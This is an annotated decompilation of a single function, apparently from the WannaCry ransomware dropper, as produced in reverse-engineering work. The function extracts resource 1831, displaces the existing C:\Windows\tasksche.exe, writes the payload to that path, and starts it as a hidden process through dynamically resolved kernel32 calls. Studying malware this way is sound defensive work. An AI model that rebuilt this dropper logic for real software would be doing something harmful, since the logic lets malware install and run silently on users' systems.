write_1831_to_tasksche.exe (FUN_00407ce0) Decompiled

undefined4 write_1831_to_tasksche.exe(void)

{
  char cVar1;
  HMODULE hModule;
  HRSRC res1831_info;
  HGLOBAL res1831_handle;
  DWORD res1831_size;
  HANDLE createdFileHandle;
  BOOL BVar2;
  int iVar3;
  uint uVar4;
  uint uVar5;
  undefined **ppuVar6;
  LPSTR *ppCVar7;
  undefined **ppuVar8;
  char *pcVar9;
  char *pcVar10;
  HANDLE hObject;
  HANDLE hObject_00;
  LPVOID res1831_locked;
  _STARTUPINFOA _Stack592;
  char acStack524 [4];
  char tasksche_path;
  undefined4 unknown_buffer_nulled [64];
  char qeriuwjhrf_path;
  undefined4 unknown_buffer2_nulled [64];
  undefined4 *puVar9;

                    /* Get Handle To kernel32.dll */
  hModule = GetModuleHandleW(u_kernel32.dll_004313b4);
  if (hModule != (HMODULE)0x0) {
    createProcessA = (CreateProcessA *)GetProcAddress(hModule,s_CreateProcessA_004313a4);
    _createFileA = (CreateFileA *)GetProcAddress(hModule,s_CreateFileA_00431398);
    _writeFile = (WriteFile *)GetProcAddress(hModule,s_WriteFile_0043138c);
    _closeHandle = (CloseHandle *)GetProcAddress(hModule,s_CloseHandle_00431380);
    if ((((createProcessA != (CreateProcessA *)0x0) && (_createFileA != (CreateFileA *)0x0)) &&
        (_writeFile != (WriteFile *)0x0)) && (_closeHandle != (CloseHandle *)0x0)) {
      res1831_info = FindResourceA((HMODULE)0x0,(LPCSTR)1831,&DAT_0043137c);
      if (res1831_info != (HRSRC)0x0) {
        res1831_handle = LoadResource((HMODULE)0x0,res1831_info);
        if (res1831_handle != (HGLOBAL)0x0) {
          res1831_locked = LockResource(res1831_handle);
          if (res1831_locked != (LPVOID)0x0) {
            res1831_size = SizeofResource((HMODULE)0x0,res1831_info);
            if (res1831_size != 0) {
              iVar3 = 0x40;
              tasksche_path = 0;
              puVar9 = unknown_buffer_nulled;
              while (iVar3 != 0
                    /* memset(puVar9, 0, 0x40/64) */) {
                iVar3 = iVar3 + -1;
                *puVar9 = 0;
                puVar9 = puVar9 + 1;
              }
              *(undefined2 *)puVar9 = 0;
              *(undefined *)((int)puVar9 + 2) = 0;
              iVar3 = 0x40;
              qeriuwjhrf_path = 0;
              puVar9 = unknown_buffer2_nulled;
              while (iVar3 != 0
                    /* memset(puVar9, 0, 0x40/64) */) {
                iVar3 = iVar3 + -1;
                *puVar9 = 0;
                puVar9 = puVar9 + 1;
              }
              *(undefined2 *)puVar9 = 0;
              *(undefined *)((int)puVar9 + 2) = 0;
                    /* C:\Windows\tasksche.exe */
              sprintf(&tasksche_path,s_C:\%s\%s_00431358,s_WINDOWS_00431364,s_tasksche.exe_0043136c)
              ;
                    /* C:\Windows\qeriuwjhrf */
              sprintf(&qeriuwjhrf_path,s_C:\%s\qeriuwjhrf_00431344,s_WINDOWS_00431364);
              MoveFileExA(&tasksche_path,&qeriuwjhrf_path,1);
              createdFileHandle =
                   (*_createFileA)(&tasksche_path,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,4,
                                   (HANDLE)0x0);
              if (createdFileHandle != (HANDLE)0xffffffff) {
                (*_writeFile)(createdFileHandle,res1831_locked,res1831_size,(LPDWORD)&res1831_locked
                              ,(LPOVERLAPPED)0x0);
                (*_closeHandle)(createdFileHandle);
                iVar3 = 0x10;
                ppCVar7 = &_Stack592.lpReserved;
                while (iVar3 != 0) {
                  iVar3 = iVar3 + -1;
                  *ppCVar7 = (LPSTR)0x0;
                  ppCVar7 = ppCVar7 + 1;
                }
                uVar4 = 0xffffffff;
                ppuVar6 = &PTR_DAT_00431340;
                do {
                  ppuVar8 = ppuVar6;
                  if (uVar4 == 0) break;
                  uVar4 = uVar4 - 1;
                  ppuVar8 = (undefined **)((int)ppuVar6 + 1);
                  cVar1 = *(char *)ppuVar6;
                  ppuVar6 = ppuVar8;
                } while (cVar1 != 0);
                uVar4 = ~uVar4;
                res1831_locked = (LPVOID)0x0;
                iVar3 = -1;
                pcVar9 = acStack524;
                do {
                  pcVar10 = pcVar9;
                  if (iVar3 == 0) break;
                  iVar3 = iVar3 + -1;
                  pcVar10 = pcVar9 + 1;
                  cVar1 = *pcVar9;
                  pcVar9 = pcVar10;
                } while (cVar1 != 0);
                uVar5 = uVar4 >> 2;
                ppuVar6 = (undefined **)((int)ppuVar8 - uVar4);
                puVar9 = (undefined4 *)(pcVar10 + -1);
                while (uVar5 != 0) {
                  uVar5 = uVar5 - 1;
                  *(undefined **)puVar9 = *ppuVar6;
                  ppuVar6 = ppuVar6 + 1;
                  puVar9 = puVar9 + 1;
                }
                uVar4 = uVar4 & 3;
                while (uVar4 != 0) {
                  uVar4 = uVar4 - 1;
                  *(undefined *)puVar9 = *(undefined *)ppuVar6;
                  ppuVar6 = (undefined **)((int)ppuVar6 + 1);
                  puVar9 = (undefined4 *)((int)puVar9 + 1);
                }
                hObject_00 = (HANDLE)0x0;
                hObject = (HANDLE)0x0;
                _Stack592.cb = 0x44;
                _Stack592.wShowWindow = 0;
                _Stack592.dwFlags = 0x81;
                BVar2 = (*createProcessA)((LPCSTR)0x0,acStack524,(LPSECURITY_ATTRIBUTES)0x0,
                                          (LPSECURITY_ATTRIBUTES)0x0,0,0x8000000,(LPVOID)0x0,
                                          (LPCSTR)0x0,(LPSTARTUPINFOA)&_Stack592,
                                          (LPPROCESS_INFORMATION)&res1831_locked);
                if (BVar2 != 0) {
                  (*_closeHandle)(hObject_00);
                  (*_closeHandle)(hObject);
                }
              }
            }
          }
        }
      }
    }
  }
  return 0;
}